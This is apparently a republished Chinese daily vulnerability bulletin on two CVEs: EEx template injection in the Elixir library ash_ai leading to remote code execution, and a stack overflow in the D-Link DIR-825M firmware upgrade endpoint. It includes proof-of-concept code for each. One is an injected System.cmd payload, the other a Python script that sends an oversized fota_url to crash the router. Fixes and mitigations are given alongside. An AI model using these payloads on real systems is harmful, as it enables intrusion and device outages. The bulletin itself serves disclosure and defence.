文章总结: 文档推送两个高危漏洞:CVE-2026-77956为ash_ai的EEx模板注入致未认证远程Elixir代码执行,CVSS10.0,需升级至含commite9948254版本并审计prompt函数用法;CVE-2026-82593为D-LinkDIR-825M固件升级接口栈溢出致远程RCE,CVSS9.9且Exploit已公开,建议关注官方固件更新并限制管理接口暴露。两者均需紧急修复。 综合评分: 88 文章分类: 漏洞分析,应急响应,漏洞预警,安全工具
每日漏洞推送 ash_ai prompt 函数 EEx 模板注入 → 未认证远程 Elixir 代码执行
原创
nullchen nullchen
富贵学安全
2026年8月31日 10:19 陕西
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
📡 每日漏洞情报推送 | 2026-08-31(周一)
🔴 漏洞一:CVE-2026-77956 — ash_ai prompt 函数 EEx 模板注入 → 未认证远程 Elixir 代码执行(CVSS 4.0 = 10.0)
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-77956(GHSA-2g59-hg7m-qc83) |
| 影响产品 | ash-project ash_ai(Elixir Ash 框架的 AI/LLM 集成扩展,含 AshAi.Actions.Prompt 的所有版本) |
| 漏洞类型 | 代码注入 (CWE-94) → 远程 Elixir 代码执行 |
| CVSS | 10.0 (CRITICAL) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H |
| 发现者 | Erlang 生态系统安全公告(cna.erlef.org) |
| 修复版本 | commit e9948254(2026-08-30 修复) |
| 在野利用 | ⚠️ 暂无公开确认,利用条件苛刻但后果为完整 RCE |
🔥 紧急程度
ash_ai 是 Elixir 生态中 Ash 框架的官方 AI 扩展,提供 prompt action 类型用于在业务资源上调用 LLM。漏洞根因:AshAi.Actions.Prompt 在 build_context/3 中支持两种 prompt 形态——静态字符串/列表,以及函数形式fn input, context -> ... end。函数形式返回的 prompt 内容(常由 action 参数、即用户输入拼接而成)会继续流入 normalize_to_context/3,最终被 EEx.eval_string/2 当作 EEx 模板编译执行。
也就是说:当开发者用函数形式把请求数据(input.arguments.text 之类)拼进 prompt 时,攻击者提交的文本会被当成 Elixir 源码编译运行,形成一条未认证远程代码执行链:
用户输入 ──> prompt 函数返回值(拼接了攻击者文本)
──> normalize_to_context(prompt, input, context)
──> EEx.eval_string(prompt, assigns: [...]) ← Elixir 源码编译执行
──> 任意 Elixir 代码执行(System.cmd/File.write!/网络外联...)
影响面:任何使用 ash_ai prompt action 且 prompt 内容引用了 action 参数(用户可控数据)的应用。由于 Elixir 运行在 BEAM 虚拟机,代码执行等价于应用进程完全控制(读环境变量/密钥、访问数据库、横向移动)。
📝 漏洞描述
修复 commit e9948254(”fix: don’t evaluate runtime prompt content as EEx templates”)明确说明:函数形式 prompt 的返回内容是在运行时产生的、经常由 action 参数(用户输入)构成,若再经 EEx 求值等于把攻击者文本编译为 Elixir 源码(RCE)。修复后:
- 函数形式(
func.(input, context))返回的内容原样使用,不再 EEx 求值(normalize_to_context(..., false)); - 仅静态配置的 prompt 字符串/列表才走 EEx 模板(
maybe_eval_template(content, input, context, true))。
# 修复前(≤ commit e9948254 之前):
defp build_context(input, opts, context) do
prompt = Keyword.get(opts, :prompt, @prompt_template)
prompt_value =
case prompt do
func when is_function(func, 2) -> func.(input, context)
other -> other
end
normalize_to_context(prompt_value, input, context) # ← 无条件 EEx 求值
end
# 修复后:
defp build_context(input, opts, context) do
prompt = Keyword.get(opts, :prompt, @prompt_template)
case prompt do
func when is_function(func, 2) ->
normalize_to_context(func.(input, context), input, context, false) # ← 不再求值
other ->
normalize_to_context(other, input, context, true)
end
end
# 新增:
defp maybe_eval_template(content, _input, _context, false), do: content
利用条件:远程、未认证(只要应用的 prompt action 对外暴露且其函数 prompt 拼接了用户输入)。
实际影响:
- 任意 Elixir 代码执行(BEAM 进程权限)
- 读取应用密钥/数据库凭据、执行系统命令
- 通过 BEAM 分布式/网络能力横向移动
💻 PoC/EXP
1️⃣ 漏洞触发验证(Elixir 测试代码)
# CVE-2026-77956 漏洞触发原理验证(本地/授权环境)
# 场景: prompt action 的函数形式返回内容拼接了用户输入
# 攻击者提交: <%= System.cmd("id", []) |> elem(0) %>
defmodule VulnDemo do
# 模拟修复前的 AshAi.Actions.Prompt.build_context 行为
def build_context(input) do
prompt = fn input, _context ->
# 开发者把用户输入拼进 prompt —— 攻击者文本进入这里
"请分析用户提交的内容: #{input.arguments.text}"
end
prompt_value = prompt.(input, %{})
# 修复前: 无条件 EEx 求值 → 攻击者文本被当作 Elixir 源码编译执行
EEx.eval_string(prompt_value, assigns: [input: input, context: %{}])
end
def test do
# 攻击者输入(payload 内嵌 EEx 表达式)
evil_input = %{arguments: %{text: "<%= System.cmd(\"id\", []) |> elem(0) %>"}}
IO.puts("=== 触发结果 ===")
IO.puts(build_context(evil_input))
end
end
VulnDemo.test()
# 修复前输出: 包含 "uid=...(elixir)" 等命令执行结果
# 修复后: 原样输出字符串,不执行
2️⃣ 修复验证
# 升级到包含 commit e9948254 的版本后,函数 prompt 内容不再 EEx 求值
# 验证方式: 向 prompt action 提交 <%%= System.cmd("id", []) %%> 文本
# 修复前: 返回命令执行结果
# 修复后: 返回字面文本,无执行
🛡️ 修复建议
- 升级:将 ash_ai 更新到包含 commit
e9948254的版本(2026-08-30 修复); - 代码审计:检查所有
prompt:函数形式用法,确认是否把 action 参数(用户输入)拼入返回内容;改为静态模板 + 显式参数绑定; - 临时缓解:在 prompt 函数内部对用户输入做转义/白名单过滤,避免原始文本进入模板求值路径;
- 关注 GHSA-2g59-hg7m-qc83 后续补丁与版本发布。
🔴 漏洞二:CVE-2026-82593 — D-Link DIR-825M LTE 固件升级接口栈溢出(CVSS 3.1 = 9.9,远程 RCE,Exploit 已公开)
📋 漏洞档案
| 项目 | 内容 |
| — | — |
| CVE编号 | CVE-2026-82593 |
| 影响产品 | D-Link DIR-825M 1.1.8(LTE 路由器) |
| 漏洞类型 | 栈缓冲区溢出 (CWE-119) → 远程代码执行 |
| CVSS | 9.9 (CRITICAL) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 发现者 | VulDB / Robots10(公开报告,含完整分析) |
| 修复版本 | 官方暂未发布(需关注 D-Link 固件更新) |
| 在野利用 | ⚠️ Exploit 已公开(E:P),可直接武器化 |
🔥 紧急程度
D-Link DIR-825M 的 LTE 模块固件升级端点/boafrm/formLtefotaUpgradeFibocom 中,函数 sub_41802C 处理 fota_url 参数时存在栈缓冲区溢出。攻击者(需要低权限,通常指已进入管理网络的用户)可远程发送超长 fota_url 触发溢出,实现远程代码执行。Exploit 已公开,且 DIR-825M 常作为家庭/小型办公 LTE 网关部署,一旦被攻破可成为内网跳板。
📝 漏洞描述
问题位于组件 LTE Module Firmware Upgrade(LTE 模块固件升级),端点 /boafrm/formLtefotaUpgradeFibocom 的 sub_41802C 函数未对 fota_url 参数做长度校验即复制到栈缓冲区,导致栈溢出。攻击者可利用经典的栈溢出技术(覆盖返回地址/ROP)实现任意代码执行。参考报告:Robots10/IoT_vlu/reports/Dlink/formLtefotaUpgradeFibocom。
💻 PoC/EXP
#!/usr/bin/env python3
"""
CVE-2026-82593 — D-Link DIR-825M formLtefotaUpgradeFibocom 栈溢出 PoC(崩溃验证)
原理: fota_url 参数超长 → sub_41802C 栈缓冲区溢出
注意: 仅用于授权安全测试!触发后设备可能崩溃/重启。
"""
importsocket, sys
HOST=sys.argv[1] iflen(sys.argv) >1else"192.168.0.1"
PORT=80
# 超长 fota_url(栈溢出触发;正式利用时在此构造 ROP/返回地址覆盖)
evil_url=b"http://"+b"A"*2048
body=b"fota_url="+evil_url
req= (
b"POST /boafrm/formLtefotaUpgradeFibocom HTTP/1.1\r\n"
b"Host: "+HOST.encode() +b"\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: "+str(len(body)).encode() +b"\r\n"
b"Connection: close\r\n\r\n"+body
)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(10)
try:
s.connect((HOST, PORT))
s.sendall(req)
resp=s.recv(4096)
print(f"[*] 响应: {resp[:200]}")
print("[!] 若设备无响应/崩溃/重启 → 存在栈溢出,可进一步构造 RCE")
exceptExceptionase:
print(f"[*] 连接异常(设备可能已崩溃): {e}")
finally:
s.close()
🛡️ 修复建议
- 关注 D-Link 官方固件更新并及时升级(当前 1.1.8 受影响);
- 将设备管理接口限制在可信网络,禁止暴露公网;
- 关闭/限制 LTE 固件升级功能的未授权访问;
- 监控设备日志中异常
formLtefotaUpgradeFibocom请求。
⚠️ 警告:提供的PoC/EXP仅限授权安全测试使用,未经授权的利用行为可能违反《刑法》第285条及相关法律法规。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:富贵学安全 nullchen nullchen《每日漏洞推送 ash_ai prompt 函数 EEx 模板注入 → 未认证远程 Elixir 代码执行》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论